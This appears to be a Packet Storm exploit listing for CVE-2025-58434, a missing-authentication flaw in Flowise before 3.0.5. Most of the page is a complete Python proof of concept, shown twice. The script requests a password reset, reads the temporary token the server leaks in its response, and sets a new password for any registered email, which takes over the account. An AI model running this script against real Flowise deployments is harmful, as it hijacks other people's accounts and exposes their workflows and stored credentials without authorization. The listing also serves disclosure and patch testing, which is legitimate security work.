9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
Proof of concept for Flowise versions prior to 3.0.5 that suffer from a missing authentication vulnerability...
Basic Information
ID
PACKETSTORM:220959
Published
May 13, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: Flowise < 3.0.5 - Missing Authentication for Critical Function
# Date: 10/11/2025
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise
# Version: < 3.0.5
# CVE: CVE-2025-58434
from requests import post
from argparse import ArgumentParser
banner = r"""
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"""
print(banner)
try:
parser = ArgumentParser(description='CVE-2025-58434 [FlowiseAI < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --newpassword Test@2025 --url http://localhost:3000")
parser.add_argument('-e', '--email', required=True, help='Registered email')
parser.add_argument('-p', '--newpassword', required=True)
parser.add_argument('-u', '--url', required=True)
args = parser.parse_args()
email = args.email
password = args.newpassword
url = args.url
headers = {
'Content-Type': 'application/json'
}
data = {
'user': {'email': email}
}
url_format1 = '{}/api/v1/account/forgot-password'.format(url)
req = post(url_format1, headers=headers, json=data)
if req.status_code == 201:
req_json = req.json()
temp_token = req_json['user']['tempToken']
data = {
'user': {'email': email,
'tempToken': temp_token,
"password": password
}
}
url_format2 = '{}/api/v1/account/reset-password'.format(url)
req = post(url_format2, headers=headers, json=data)
print('[x] Password changed')
else:
print('[x] Unregistered user')
except Exception as e:
print('Error in {}'.format(e))
# Date: 10/11/2025
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise
# Version: < 3.0.5
# CVE: CVE-2025-58434
from requests import post
from argparse import ArgumentParser
banner = r"""
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"""
print(banner)
try:
parser = ArgumentParser(description='CVE-2025-58434 [FlowiseAI < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --newpassword Test@2025 --url http://localhost:3000")
parser.add_argument('-e', '--email', required=True, help='Registered email')
parser.add_argument('-p', '--newpassword', required=True)
parser.add_argument('-u', '--url', required=True)
args = parser.parse_args()
email = args.email
password = args.newpassword
url = args.url
headers = {
'Content-Type': 'application/json'
}
data = {
'user': {'email': email}
}
url_format1 = '{}/api/v1/account/forgot-password'.format(url)
req = post(url_format1, headers=headers, json=data)
if req.status_code == 201:
req_json = req.json()
temp_token = req_json['user']['tempToken']
data = {
'user': {'email': email,
'tempToken': temp_token,
"password": password
}
}
url_format2 = '{}/api/v1/account/reset-password'.format(url)
req = post(url_format2, headers=headers, json=data)
print('[x] Password changed')
else:
print('[x] Unregistered user')
except Exception as e:
print('Error in {}'.format(e))